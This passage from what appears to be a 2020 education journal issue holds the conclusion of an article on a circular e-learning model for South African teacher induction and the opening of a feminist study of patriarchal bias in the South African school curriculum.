virtual classrooms have shown proven value through the recording of classes and lectures for later use. The proven effectiveness of this method has led to classes being pre-recorded to instil basic knowledge before formal instruction, which in turn has led to more time for in-class discussion and contextualization (Hwang, Lai & Wang, 2015).

The ‘leading’ of learners and students is important, as the flipped classroom can revert to autonomous systems of control should boundaries to learning be too rigid and narrow. Further entropy is also possible should boundaries be too open and allow for too much learner autonomy. The teacher is at the core of successful technological integration in the classroom. Successful integration of constructivist learning and the use of technology is driven by the beliefs of the educator who ultimately enters the classroom (Chen, 2008), and accordingly teacher induction and developmental programs should focus not only on skillset improvement, but also teachers’ beliefs about digital learning. Damoense (2003) noted that online learning enhances collaborative engagement. Traditional teacher instruction gives way to facilitating meaningful engagement with online activities. The wealth of online activities and resources make the act of leading learners and teacher beliefs cornerstone in ensuring that meaningful boundaries to information are opened. To attain systemic integrity within modern 21st century teaching-learning spaces, the use of e-learning, flipped and virtual classrooms need to be used effectively in the context within which learners reside (both at a micro and macro level). This is especially important in relation to the amount of learning that will stem from online methods and which learning will flow from face-to-face modes of delivery. As such, the awareness of systemic boundaries becomes a cornerstone during online pedagogies. Educators will need to open and close boundaries to online instruction in a manner that enhances the overall flow of the teaching-learning process.

 6. A circular approach to collaborative practice

An effective method of opening boundaries to enhance teacher adaptability toward digitized learning is found in the form of Communities of Practice (CoP). CoPs allow for collaborative practice, and when grounded through trusted patterns of interaction, enhance cross-platform learning that is stimulated through various stakeholders (Lee & Brett, 2015). According to Lee and Brett (2015), the use of online-learning design allows for teachers to cross-collaborate within a CoP, which enhances peer-teacher communication, stimulates self-reflection, and allows for stronger implementation of material within classroom practice. Lambert and Gong (2010) advocate for the use of technological systems during pre-service teacher instruction. They see it as vital for translating skill-sets during teaching when educators enter classroom practice. However, while many universities and institutions of learning provide computers for use during training, programs often miss the opportunities to effectively integrate digital systems in meaningful ways that advance post-training incorporation and use.

The remainder of the discussion will focus on a circular model of open-closed boundaries to digital content which emphasises collaborative practice and contextual awareness stemming from initial teacher induction towards the grassroots classroom use of media and material. Specifically grounded on a process of circularity pertaining to the knowledge-systems teachers draw on, the proposed model further envisages a South African knowledge base and context in a manner where information is mediated and steered toward the ideals of the South African system and unified and constructed through a wide array of perspectives, languages and contextual backgrounds. Intrinsic to the model is that the product of the information retains core knowledge integrity and is evaluated and steered through didactic approaches during teacher induction, as part of the process, instead of it being a process to engage with only once teachers actually start to teach. Skill-sets can, accordingly, be translated toward post-induction employment where teachers construct subsystems of evaluated and monitored content, thereby ensuring a uniform content base as teachers become comfortable with the use of digitizing learning and peer-support towards the goal of reliable and equitable information sharing.

Figure 1: Cyclical model of initiating cross-platform collaboration toward e-learning in South Africa (Author, 2020)

Figure 1 illustrates a circular approach to introducing a reliable and valid flow of e-learning content into classrooms while providing relief for teacher input during certain stages or cycles of curriculum coverage. The risk of an open system to online learning content has been discussed, as content drawn on from international sources or external open boundaries does not guarantee that contextual or relevant information is conveyed to learners. The aim is further to emphasise that digitized content should not dominate lessons but be used effectively and innovatively to enhance the learning that occurs during formal teaching hours. A circular method of introduction to core content, in collaboration with higher education instructors, and emanating through the teacher induction process, holds value both for ensuring valid and reliable use of digital content, as well as for allowing sub-system classroom level autonomy during the facilitation and contextualisation of information.

A process of circularity allows information to flow through the system in a controlled and goal-oriented manner, while providing for a basis of stored content which is accumulated and available to teachers post-induction for use and knowledge refinement. It is noteworthy that this article specifically draws on a model where information is continuously updatable. Opening too many boundaries to online learning is detrimental and will lead to entropy and systemic dysfunction. Thus, the proposed model is founded on shaping an autonomous community of content which is evaluated and on par with current trends in education, and stored in offline format for post-induction use. The material is shaped around core content. Through the process of teacher induction, it can utilize various forms of online instruction and assessment methods, which can be translated to the needs of the classroom system. With a wide array of material available across various subject didactics, it also leads to fewer challenges when looking to find content that is of value across different contexts of space and place.

Teachers entering their own space and place of teaching post-induction have an array of material and curriculum coverage available to them right at the onset. They can integrate the resources available during induction in a controlled environment alongside various stakeholders and peers from a plurality of backgrounds and skill-sets. The process stimulates access to resources and material which is contextually relevant and adaptable to a specific context. Boundaries to the material are opened and closed to learners either offline or online, and the overall integrity of the system’s use is adjusted to contextual constraints and resources, as material can be provided through various offline means. Importantly, a circular system, as proposed, provides teachers with opportunities to shape positive values and collaborative values about using technologically-based learning in classrooms without opening e-learning boundaries in a manner that is disadvantageous to other systems of learning situated in other contexts. Boundaries are therefore systematically removed in a way that does not cause a larger divide between schools systems and teachers who cannot employ sophisticated digital material in the classrooms.

A sensitization process is thus articulated where, through opening and closing systemic boundaries to material, the teacher can better navigate their own subject knowledge and continuous learning, while allowing for a stronger unified method of conveying base knowledge and giving way to the contextual application of skill-sets in the classroom. While there are various sources available for teachers to draw on content already, these sources are often expensive and not created with larger populations or context in mind. They are also not always reliable in terms of the encapsulated core ideals of national and international benchmarks. Ideally, to maintain systemic integrity, the overall aims of a model for implementing digital learning in classrooms should enhance teacher practice to align with reliability, and up-to-date ethical information. Ultimately, constructing a circular approach for reliable information and content sharing holds value for periods of instruction disruption while also allowing for teachers to shape values and autonomy to draw strategically on local and international content for enhancing practice, bypassing emotional bias during certain lessons, or reshaping and refining knowledge that is not on par to, or unaligned with, current trends and benchmarks.

7. Recommendations and research

There are various challenges to the implementation of a circular model for digitizing content for a unified information base. Firstly, cloud space is expensive, and the management of the proposed system can be costly and time-consuming. While the proposed system is autonomous and updates as teacher-induction takes place, further research is required to explore smaller data management systems that are both cost effective and reliable, especially in spaces where schools already employ online learning in effective and creative ways. Artificial intelligence and autonomous systems are feared as potentially replacing teachers. However, with careful consideration and implementation, the uses thereof can reduce administrative times and reduce the likelihood and severity of teacher burnout. The use thereof for system management and information sharing in strengthening classroom practice will be useful for stimulating public debate around the digitized paradigm shift in South Africa towards the ideals of globalization and technological advancement that characterise the Fourth Industrial Revolution.

8. Conclusion

The unequal distribution of resources and the post-apartheid ripples that hinder many schools’ systems from benefiting from real-time synchronous instruction that is relevant to the South African context, are impeding the adoption of technology in South African classrooms. While international systems have deep knowledge and information sharing pools to draw from, the boundaries of relevance and context are primary challenges in shaping a sustainable base from a South African perspective. This article subsequently explored a possible method of sensitizing teachers to online learning through a collaborative model based on circularity. The proposed model reflects the advantage of continuous content, which involves opening a system to allow for new content to flow in a directed manner, while closing boundaries to content that is not on par or reliably assessed before being widely used. The proposed model allows teachers to access an array of voices and methods pertaining to a specific lesson, so that they can reliably convey core content in a more effective and controlled manner. By providing more time for the teacher to facilitate context and application in the classroom, the value of a circular model lies therein that it further stimulates ongoing access to new methods and content coverage for self-reflection and peer engagement.

Limitations of resources and time constraints are curbed due to the initial construction of a community platform during induction. South Africa has the exciting opportunity to shape the adoption of digital learning in a manner that emphasises the active role of the teacher as both facilitator and lifelong learner, while also bridging contextual boundaries in new and innovative ways that promote the sustainability of the South African systemic context. At the forefront of the digitization process is the call for further research into refining an autonomous system which would reduce colonial powers’ monopoly on information and further investigating closed boundaries to unreliable material and content to the detriment of the learner and their subsequent context in terms of place and space. The move toward digitized learning can strengthen teacher practice and enhance collaboration. If not properly initiated and implemented, however, we may create a further divide amongst systems of learning, and not just among subsystems in South Africa. The overall integrity of the South African context of learning may be compromised, when compared with international benchmarks.

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The prevalence of patriarchal hegemony in the South African secondary school curriculum: A feminist perspective

First author: Professor Anna-Marie (A.M.F.) Pelser

Research Professor, North-West University, Faculty of Economic and Financial Sciences- Entity Director – GIFT, Mafikeng Campus.

Corresponding author: Professor A.M.F. Pelser: HED (Home Economics, PU for CHE), B Com (UNISA), B Com Hons (PU for CHE), M Com (Industrial Psychology, NWU), PhD (Education Management, NWU)

e-mail: or

Co-author: Professor Edmore Mutekwe

Professor, North-West University, Faculty of Education, School of Professional Studies in Education.

Professor Mutekwe: PhD (UJ), M.Ed (UZ), MBA (NUST), Bed (UZ), PGDE (UZ), Dip in Personnel Management (UZ) & NC (Computers) (Hexzo)

Ensovoort, volume 41 (2020), number 5: 1


In this paper we explore how hegemonic masculinity or patriarchy manifests itself in classroom practice in the South African context of education. In our examination of the patriarchal hegemonic tendencies in the school curriculum, we adopt a feminist perspective as the lens for focusing on how the patriarchal ideology is embodied in the South African secondary school curriculum and how it masquerades as the common sense that leads boys to have inflated notions of their sexual and intellectual supremacy while relegating girls to the position of sexual objects at the mercy of their male counterparts. For this paper, an interpretivist paradigm was adopted while the qualitative phenomenological research approach and design were used to guide the data collection process, which takes the form of focus group discussion interviews. The study used a total of 60 participants purposefully sampled from five schools constituting the target population of secondary school girls from the Northwest province of South Africa. It is envisaged that the paper will provide answers to the following research questions: How does the South African school curriculum promote the patriarchal ideology? How do patriarchal hegemonic tendencies manifest themselves in the life of boys and girls as learners in the South African education system? What effects do the patriarchal ideologies have on the girls’ life chances? The findings to be reported herein are expected to highlight what constitutes hegemonic masculinity in not only the South African education system but also in its wider social structures; family, religion, polity and economy. The data analysis process for the paper was conducted in accordance with the dictates of the thematic approach and how the patriarchal hegemony and ideology disguise as the common sense typical of the South African school curriculum and society.

Keywords: hegemonic masculinities; patriarchal hegemony; masculine social roles; feminine social roles; social structures; South African education system


Mutekwe and Modiba (2014) contend that many women and girls in Africa are subjected to the hegemonic masculinities through their involvement in their social structures, which include the family, religion and their educational institutions. The ways in which the patriarchal hegemony is promoted in the school curriculum is in a way consistent with what the South African society considers as masculine and feminine social roles for males and females. The South African education system thus engenders the consciousness that boys and girls should play distinctly different social roles. As a consequence, such an ideology predisposes boys and girls to a strictly gender-polarised anticipation of roles. What is more worrying is that in some educational institutions this mind-set sometimes leads girls to a lower class attendance, performance and sometimes render them victims of unwarranted sexual violence by some boys (Mutekwe & Modiba, 2012a). Educators in many of the South African schools compound the situation by emphasising the significance of the existential attitudes, beliefs and values held within their social structures about appropriate gender roles and/or sexual aspirations of boys and girls (Christie, 2008). No wonder many in their school curriculum tend to reinforce the gender-polarised roles and ambitions for their male and female learners. A typical example is that through their interactions with educators, girls are oriented towards developing the type of consciousness, personal demeanour, modes of self-presentation, self-image and the gender identifications which predispose them to specific feminine social roles and possible competencies (Mutekwe & Modiba, 2014). The inference that can be drawn from the aforementioned is that the patriarchal nature of the South African school curriculum thus advantages boys as opposed to girls and this is maintained through institutionalised and ingrained gender-role beliefs and ritualised behaviours typical of the social interactions of boys and girls within their educational institutions and beyond.

Background to the problem

The influence of books in propagating the patriarchal ideology in South Africa is often compounded by educator attitudes and expectations towards their learners (Odaga & Heneveld, 2015). Nhundu (2007), Meyer (2008) writing from a feminist standpoint epistemology share these sentiments maintaining that the patriarchal values embodied in the school curriculum makes girls as a whole to be disadvantaged compared to boys as a whole. In concurring with the aforementioned view this paper explores the view that in South Africa, boys and men generally have access to all the educational goodies, or what Bourdieu (2008) calls a relevant cultural capital, a concept that he adopts to describe the background knowledge or experiences that are systematically denied to girls largely because of the ideology of patriarchy which is embedded in the school curriculum in its different facets such as the formal and tacit or hidden forms as can be discerned from the bulk of the school text books and teacher attitudes and expectations of learners’ gender roles (Mutekwe & Modiba, 2012b). This paper thus explores the above view on the grounds that the patriarchal hegemony typical of the social behaviour of many South African men is compounded by the portrayal of male and female images in the school curriculum.

Aim and objectives of the paper

This paper examines the predominant manifestations of hegemonic masculinity or patriarchy in the South African school curriculum and or context of education. Pursuant to this broad aim the paper focuses on the following objectives;

  • To establish the ways through which the South African school curriculum promotes the patriarchal ideology.
  • To identify the predominant patriarchal hegemonic tendencies that manifest themselves through the South African school curriculum
  • To examine the possible effects of the patriarchal ideologies on the learners’ life chances as boys and girls

Research questions

The discussion in this paper is guided by the following research questions:

  • How does the South African school curriculum promote the patriarchal ideology?
  • How do patriarchal hegemonic tendencies manifest themselves in the life of boys and girls as learners in the South African education system?
  • What are the effects of the patriarchal ideologies on the learners’ life chances as girls or boys?

Statement of the problem

The problem this paper sought to explore and unmask concerns the biased patriarchal nature of the South African school curriculum, which is implicitly replete with values and ideologies that blatantly promote hegemonic masculinity. As a consequence, the South African school curriculum tends to polarize the educational or career aspirations of learners along gender lines (Gordon, 1995). It is disheartening to note that despite the fact that there is an urgent need for equality between girls and boys or women and men, which is often given only lip service, the issue has never been taken into serious consideration as schools and education continue to promote the status quo of social inequalities of not only gender but also race and in some cases ethnicity (Mutekwe & Modiba, 2012b). Facets of social inequality such as gender-role stereotypes and disparities continue to dog the educational and other social institutional spheres of life (Gordon, 2005). The role of the educators in this process has also been noted with claims by some gender discourse analysts such as Dorsey (1996) and Gaidzanwa (1997) that some of them continue to engender and peddle hegemonic masculinity through gender-role ideologies and stereotypes which differentially predispose boys and girls towards not only different but highly gender polarized social roles.


The paper’s impetus is based on the view that despite women having worked their way into many school management positions, gender imbalance in education continues to pose a great global concern, with progress towards equity being very slow and uneven (Mutekwe, Maphosa, Machingambi, Ndofirepi & Wadesango, 2013). Its focus is therefore that improving girls and women’s involvement in school leadership and management plays a pivotal role in increasing their rights, freedoms and opportunities for success as it ultimately propels them to desire to progress to positions of authority and power in many organisations as well as to aim towards attaining gender equality in all the social institutions where the patriarchal hegemony is widespread (Momsen, 2010). It is therefore envisaged that the contribution this paper makes to the subject of gender inequality in South Africa is towards practically sensitising both men and women to the need to step up gender equality initiatives in their society so as to emancipate those women who continue to suffer the brand of patriarchal hegemony engendered by the school curriculum (Mutekwe, 2018). On the theoretical front, the paper is intended to benefit readers and scholars interested in understanding the importance of gender equality initiatives, which implies making an informed contribution to the existing body of the literature on gender transformation initiatives (Mutekwe & Modiba, 2012a). In its contribution to influencing the South African gender education policy, the paper is also expected to show that despite women constituting more than half of the basic education workforce in South Africa, they are still under-represented in positions of influence in many social institutions such as schools and religious institutions and that this can be alleviated by instituting many gender sensitive action programmes aimed at deconstructing the hegemonic masculinity typical of the South African school curriculum, which has the effect of predisposing many women to subordinate social roles (Meena, 2004; Mutekwe, 2007).

Review of the related literature

The philosophy behind this section of the paper is that the more new researchers understand trends in an area not necessarily similar but related to their study the more they are able to identify the research gap and also the more they can approach their own study from an informed position (Nieuwenhuis, 2016). Seen in this light, the following sub-headings characterise the discussion in this section of the paper; theoretical framework, typologies of feminist thought, how the school curriculum promotes the patriarchal ideology, predominant patriarchal hegemonic tendencies in the school curriculum and the effects of hegemonic masculinities on the life chances of learners.

Theoretical framework

The theoretical framework adopted for the discussion in this paper is feminism or the feminist approach. Feminism as viewed by Meena (2004) as a perspective or view that seeks to challenge the patriarchal nature of societies the world over. It is sometimes viewed as an action-oriented ideology that advocates equality of opportunities between males and females in society (Odaga & Heneveld, 2015), feminism therefore emphasizes the belief that women and men are equal and should be equally valued, as well as having equal rights (Odaga & Heneveld, 2015). Oshako (2015) considers it a movement seeking to create an awareness of the fact that woman are oppressed, devalued and dominated by men and that the structural arrangements that initiate, support and legitimate that systematic oppression, constitute patriarchy or male domination. As an ideology, the patriarchal hegemony is thus premised on the supremacy of males over women which enables the former to dominate the latter (Hartmann, 2012).

The history of girls and women’s rights owes much to the works of an Englishwoman Mary Wollstonecraft who published Vindication of the rights of women in 1792 demanding that women be given equal political, social, educational and civil rights (Higgs & Smith, 2017). Further developments on the need for girls and women’s liberation from patriarchal tendencies then spread through the works of Elizabeth Candy Stanton and Lucretia Mott’s (1848) document entitled Declaration of Rights and sentiments as a result of the Seneca Falls convention, John Stuart Mills’ (1869) publication, The subjection of women in which he describes how boys and men are brought up to believe that women are their moral, spiritual and intellectual inferiors. The events of the First World War years, 1914 to 1918 also played a major part as they showed that women could work in factories and mines doing jobs traditionally considered male domains. Further to this the 1918 milestone in which women over 30 won the right to vote also contributed to exposing the need for their rights alongside men culminating in the events of 1936 where all British women were granted the right to vote (Higgs & Smith, 2017). According to these authors, during the first wave feminist era, that is, the first half of the 20th century, most women in Europe also gained the right to vote including access to various other social rights and today women in many parts of Africa are gradually being integrated into formal institutions and social movements that create a new vision of gender relations in society.

For Higgs and Smith (2017) it is the belief that women should be given the right to vote and that they should be equal before the law that has given rise to the first-wave feminism. In the West and many other countries influenced by Western thoughts such as Botswana, Lesotho, Malawi, South Africa, Zambia and Zimbabwe, the above constituted the earliest forms of feminism (Higgs & Smith, 2017). Currently, it is perhaps true to note that virtually all educated men and women in the world at least understand that women should be allowed to vote, own property, have divorce and child custody rights and be given access to birth control, education and other human rights (Ogundipe, 2015). It is also true that many educated men and women accept that women should be afforded equal educational, job and pay opportunities. This type of feminism resonates with other methods of educational inquiry in philosophy, namely critical rationalism, which questions tradition, critical theory, which challenges all forms of power on the basis that critique is constructive, empiricism, which asks us to look at reality objectively, including social reality (Higgs & Smith, 2017:85). It is thus important to note that in general, the term feminism has as its ultimate goal, the triumphal emancipation of the woman as a unique, distinct individual with a mind uncluttered by patriarchal beliefs and abusive submission to tradition (Ogundipe, 2015).

Typologies of feminist thought

According to Higgs and Smith (2017:79) the term feminism covers a collection of philosophies rather than one philosophy given that women from different cultures and different societies have designed their own forms of feminism culminating in what we today know as radical, liberal, Marxist-socialist and African forms of feminism (which deals with the whole question of Western colonisation, gender and white male domination in Africa). Further to these typologies, Higgs and Smith (2017) also identify European feminism (which tends to be more Marxist and/or existentialist than British and US feminisms) and Islamic forms of feminism (which focuses on the place of women in Islam and generally contends that Islam gives moral and spiritual equality to men and women as well as British and US feminism (which can further be divided into first and second wave feminisms). In all the aforementioned typologies of feminisms, patriarchy or male domination is viewed as the root of all female subordination in society (Higgs & Smith, 2017). In the views of these authors, feminism claims that the entire experience of being human has been seriously damaged and distorted by patriarchy or masculine domination and the marginalisation of women.

Today in education, an example of a philosopher of education whose work has been greatly influenced by feminism specifically is American Jane Rowland Martin who has challenged the notion that motherhood and any form of academic activity are necessarily mutually exclusive. For her this view is absurd because a great deal of teaching and learning takes place in the home and therefore it is a mistake to equate education only with formal public schooling (Higgs & Smith, 2017:89). Other examples of notable feminist thinkers include Kate Millet (a political philosopher), Germaine Greer (a feminist theorist), Marilyn French (A novelist and feminist theorist), Naomi Wolf (a feminist theorist), Margaret Atwood (a Canadian novelist), Betty Friedman (a feminist theorist), Sheila Rowbotham (a radical feminist) and Mary Daly (a feminist theologian). Among the notable African feminists are the likes of Catherine Acholonu (a Nigerian feminist scholar and sociologist), Chioma Opara (a Nigerian feminist writer and scholar) Omolara Ogundipe (a Nigerian feminist activist), Obioma Nnaemeka (a feminist writer and scholar) and Obioma Nnaemeka (a Nigerian-American feminist scholar). It is important to note that feminism as a philosophy helps encourage women and men to re-examine their value systems, give women enormous courage, psychological and moral power and can contribute alternative ideas to discussions of social problems particularly the marginalisation of girls and women in society (Higgs & Smith, 2017).

Many of the notable feminists prefer to have the goal of feminism as empowering women while ensuring their equality to men. For some scholars, for example, for feminists such as Nnaemeka (2016) the term feminism has come to mean a movement that is anti-male, anti-culture and anti-religion. For purposes of inclusion, some women prefer to engage themselves in gender theory and activism by including men into the discussion because for them, men have so much power and control in society and because the majority of policy-makers in many African countries are men, some believe that inclusivity is important if women are to gain ground in policy changes that impact them (Nnaemeka, 2016). The importance that many women place on communalism and family results in their desire to work with men to develop an inclusive approach to solving gender issues. In order to eradicate the oppression women face because of their gender, working with men has become a necessity (Ogundipe, 2015). The role of African men in feminism is thus nuanced and depends on location, environment and personal ideology. In the ensuing section the focus is on examining and interrogating the feminist analyses and educational recommendations bearing in mind that feminism here incorporates a wide range of theoretical positions (Thompson, 2015).

There have been significant advances in the African women’s movement despite the view that the continued destabilisation of economies in many African nations has marginalised women and invalidated many of their social institutions including education (Higgs & Smith, 2017). In general, patriarchy is viewed as deeply embedded in the societal structures of the African continent and this contributes enormously to the oppression of African girls and women particularly in the educational sphere (Obioma, 1994). It is important to note that feminist research in the various parts of the African continent, particularly in parts of West Africa during the 1970s and 1980s, in South Africa during 1992 and in Liberia, Sierra Leone and Nigeria during 1994 revealed that girls and women’s feminist groups tend to focus on legal, educational and social reforms, violence against women, conflict resolutions in the social structures, economic and educational empowerment and other patriarchal issues in Africa (Higgs & Smith, 2017:81).

Following from the above, women’s feminist movements in Africa can best be described as political, pragmatic, reflective and group-oriented forms of feminism or the sisterhood of Africa (Higgs & Smith, 2017). Such a peculiarly African form of feminism focusing on the struggles of African women to create a space of independence and dignity out of a triple layer of oppression (oppression created by colonial, Western patriarchal and African patriarchal cultures) criticises Western and European feminists for trying to speak for African women, thus denying them their ability to voice their thoughts and or concerns (Higgs & Smith, 2017). African feminism thus maintains that African women’s liberation depends largely upon the development of an independent feminist voice meant to champion a tradition of female involvement in African societal affairs (Amadiume, 1997). Such a critical response is aimed at interpreting feminism as a Western cultural phenomenon, attempts of which are viewed as ignoring alternative perspectives on feminism that emphasise the historical conditions under which women’s movements and particularly those from Africa, challenge the patriarchal hegemonic cultures (Mutekwe, 2014). It is important to also note that African feminism focuses on the politics of gender or the power relations between men and women as they are structured around opposing notions of masculinity and femininity (Higgs & Smith, 2017). It is in this light that African feminist women are seen as viewing their role as based on male-female complementarity in overcoming discrimination by means of more equitable gender relations and changes in the sexual division of labour in society.

How the school curriculum promotes the patriarchal ideology

Walum’s (2008) assertion that discourses disseminate messages or cultural definitions of male and female roles and contribute enormously to the social construction of gender and sexual inequality between females and males was clearly supported in the study on girls and women in Zimbabwe. His views became invaluable in making sense of the representations or images that were witnessed through classroom observations in the classrooms. He considers language usage as the chief vehicle that makes social interaction possible and as providing an ideal illustration of the cultural transmission process (Wallum, 2008). For him, language contains many explicit messages regarding cultural definitions of male and female roles. It is through communication that much sexist interaction is engendered and perpetuated, that discourses have been used in the past and are still being used to dehumanise a people into submission. Such discourses reflect and shape the cultural context in which they are embedded. Drawing from Nilsen’s (2010) discussion of sexism in the English language, he argues that gender-biased discourses usually take three forms, namely, ignoring, defining and deprecating. In discussing the effects of these discourses, Wallum cites Nilsen’s use of a chicken metaphor to summarise a girl’s life course:

In her youth the girl child is a chick, and then she marries and begins feeling cooped up, so she goes to hen parties where she cackles with her friends. Then she has her brood and begins to henpeck her husband. Finally she turns into an old biddy (Nilsen, 2010:109).

The above mentioned view reveals that the cooping, cackling and brooding were conveyed and reinforced by the images of men and women in the curricular material or literature to which the pupils were exposed, namely, the text books and other literature to which they had to refer. For example, the charts that were hung on the walls in the classrooms and textbooks that were used reflected traditional female dominated spheres of life. These included cooking, housekeeping, feeding babies and carrying them on the back. The charts also portrayed men and women in traditional gender-stereotyped occupations. Textbooks, work cards and pictures on wall charts tended to allocate all the prestigious careers or jobs to men while relegating those associated with housekeeping and nurturing children to girls and women. It is in this sense that the schools were viewed as having set the scene for unequal educational and career aspirations between boys and girls and their subsequent unequal access to economic sustainability. The images portrayed men as products of particular education and in specific employment or leadership positions, having access to better resources. The table below summarises these images. The data summarised above shows how language use or discourses promoted and reinforced traditional gender-role biases as embedded in the Zimbabwean social structure. Such biases and values are also reflected through issues associated with the teachers’ interactions with boys as opposed to girls in the classroom as the discussion in the ensuing section shows.

Predominant patriarchal hegemonic tendencies in the school curriculum

South Africa as one of the African states, has thus been described as one of the societies in which patriarchy is deeply embedded and in which girls and women are oppressed in their social structures (Obioma, 1998). As a result, since the year 1990, the country has been engaged in a process of fundamental reconstruction and it continues to strive to be a non-sexist and non-racist society with the feminist movements contributing enormously towards such an agenda (Dolphyne, 1997; Higgs & Smith, 2017).

Further to the above, sociological theorist Thompson (2015:12) suggests the following as some of the chief feminist educational interventions; providing pupils with affirming female role models, mandating equal treatment of girls and boys, desegregating boys and girls in particular classes or schools, changing the curriculum to emphasize values associated with the private sphere and teaching pupils to critique gendered power relations and deconstruct gendered discourses. The feminist intervention most widely discussed in this paper as capable of addressing the girls’ needs in their schools is what has become known as an ethics of caring (Higgs & Smith, 2017). According to gender-difference theorists, the schools’ focus on masculine, public-sphere values (values such as competition, individual achievement and rationality), has obscured the importance of the nurturing values connected with femininity and the private sphere (Pateman, 2008). Because difference theorists regard relational, domestic, or otherwise feminine values as indispensable both to individual flourishing and to the well-being of society as a whole, they call for an affirmation of gender difference and a revalorization of the caring work associated with women (Rollins, 2015). An ethics of caring, they believe, must be made central to teaching. Argued for by theorists, implemented by practitioners and applauded by legislators and media pundits, an ethics of caring approach has been said to offer the best and in some cases the only solution to the daunting list of problems that girls encounter in educational institutions (Raymond, 2015). Not incidentally, it is also seen as a solution to a host of other problems. Obviously, one reason for its popularity with non-educators is that an ethics of caring is a cheap solution, requiring an outlay of energy on the part of teachers rather than an outlay of cash on the part of the general populace (Thompson, 2015:13). Yet it also appeals to educators, for the caring approach described by gender-difference theorists resonates with child-centred educational commitments (Higgs & Smith, 2017). Despite its potentially unsettling insistence on feminine values, caring theory appears unthreatening insofar as it underscores the teacher’s personal response to individual student needs, rather than demanding that teachers attend to systemic forms of race, class, and gender inequity. Caring theory has attracted heavy criticism from other feminists (Ogundipe, 2015). To understand both the limitations and the contributions of gender difference theory, it is important to recognize difference theorists as responding not only to masculinist educational positions but to feminist theorizing of a particular variety. Earlier feminist educators, concerned with ensuring equal educational opportunities, equal access to desirable jobs and equal pay for equivalent work, tended to emphasize the similarities between men and women and to set aside gender differences as largely the product of an outdated ideology (Thompson, 2015). From their perspective, the more that women were allowed to act like men and to aspire to achievements and rewards in the public sphere, the more that society as a whole would progress toward true equality and democracy (Thompson, 2015).

The unfortunate implication of the socialization theorists’ orientation toward equality was that women who were not like men were inferior both to men and to women who were like men (Oakley, 1997). Although liberal feminists today are more likely to emphasize women’s informed choice in working either outside or inside the home (the private sphere), the continuing effects of the deficit stance can be seen in the hostilities still being fanned between white African middle-class mothers who work outside the home and white African homemakers who work inside the home (Thompson, 2015). Gender-difference theory, by calling attention to the feminine values ignored by supposedly universal but in fact masculinist paradigms, allowed feminists to acknowledge women’s work without losing sight of the need to challenge androcentric assumptions regarding women’s inferiority to men (Sadker & Sadker, 2012). Difference theory itself is problematic, however, insofar as it attempts to revalorize women’s work, above all, the work emanating from an ethic of caring without accounting for the role that that work plays in upholding class hierarchies, nationalism, racism, heterosexism, and patriarchy (Sadker & Sadker, 2012). Although in some cases gender difference models of caring have been invoked in support of culturally relevant schooling, critics have charged that the cultural particularity of the caring ideal embraced in gender difference theories contributes to educational assimilationism (Thompson, 2015). To come to grips with both the strengths and the limitations of the arguments for adopting an ethics of caring put forth by difference theorists, it is helpful to place the ethics of caring theory in the context of the analyses and recommendations offered by alternative feminist accounts, which are viewed below as approaches to educational intervention after which a greater detail of the theoretical analyses that undergird each of the approaches is proffered. The next section focuses on a discussion of findings from a gender study I conducted on how the school curriculum in Zimbabwe, one example of an African country orients girls and women for some gendered occupational trajectories in their life course. In fact, the subsequent discussion details how girls and women’s educational choices are a reflection of the interplay of structure and agency. It begins with an analysis of how the classroom curricular material pre-disposes girls and women to particular feminine gender roles.

The effects of hegemonic masculinities on the learners’ life chances

Thompson (2003:21) asserts that despite the disagreements between theorists espousing a gender-sensitive approach to equity and those arguing for gender insensitivity, the two positions have a great deal in common insofar as they both subscribe to the principles of liberalism on the lives of girls and boys in society. Liberal feminists argue that hegemonic masculinity is counter-productive because it seeks to empower only one gender group: the boys or men in society. As an ideology, the perspective places individual freedom and flourishing at the heart of a just social order (Jones, 2000). Seen in this light it thus holds that the purpose of democracy should be to ensure that all individuals regardless of gender, are free to pursue self-actualization provided that in doing so they do not infringe on the rights of others (Jones, 2000).

The aforementioned implies that despite social justice being understood in terms of gender sensitivity or fairness and inclusivity, people should not be faced with socially imposed obstacles that prevent them from achieving whatever their desires, talents, judgment and efforts would otherwise make possible (Joe & Miller, 2014). As a result, according to liberal feminists individuals need to be judged on the basis of achievement and not on ascribed characteristics such as sex or gender. From his view, it follows that girls or women should be treated like boys or men on the basis of their individual merit and not along the basis of gender lines (Joe & Miller, 2014). To this extent, socialization and gender-difference feminist theorists find themselves in agreement. Their disagreement stems from their understanding of femininity as ascribed (in the case of socialization theorists) or either achieved or inherent (in the case of difference theorists). Naturally, if femininity is ascribed to women and not part of their own self-definition, it cannot count toward an understanding of how they should be treated in the various social institutions (Holland & Eisenhart, 2010). If therefore femininity is a valued and distinctive expression of a woman’s way of being in the world, it cannot be dismissed. Both socialization and gender difference theories emphasize reform within the system rather than radical change of the system (Holland & Eisenhart, 2010). Trusting in educated and informed common sense as the basis for social assessment, judgment and negotiation, liberalism seeks to promote social change through modifications in educational policy and practice. But while socialization and difference theorists agree that social progress is necessary if women are to flourish, what counts as flourishing or progress is importantly different in the two cases (Thompson, 2003:22).

Socialization theorists adopt the classical liberal view that education should focus on the similarities human beings regard as rational and not their gender differences (Thompson, 2003). Although accepting the equation of femininity with irrationality, theorists such as Sadker and Sadker (2012), Hall and Sandler (2012) argue that femininity is not a natural condition but the result of the inferior education given to girls and women. Hegemonic masculinity as ideology has thus taught girls from babyhood to care about their looks and to see themselves as weak and helpless, and come to measure their worth in relation to others (Mutekwe, 2012b). Through their families, schools and society at large as gender-socialising agencies meant to predispose them to the patriarchal hegemonic ideology, girls learn self-negating behaviours and media images further reinforce the message that women are ornamental rather than active agents (Mutekwe, 2012b). Owing to the fact that they are continually interrupted and belittled when they speak, many girls and women end their statements on a deferential, questioning note or issue disclaimers like “this probably not mine.” However, if girls display passivity, hesitancy and a preoccupation with romance, these critics say, it is as a direct result of how they are treated. If parents were to expect as much from their daughters as from their sons and if their educators were to ask girls the same complex and challenging questions that they ask boys, not to mention giving them the same help in coming up with the answers, girls’ challenges to self-efficacy behaviour would disappear (Mutekwe, 2012b). Treating girls as rational and capable individuals, socialization theorists argue that girls will prove themselves just as smart, independent, confident and creative as boys (Meena, 2004).

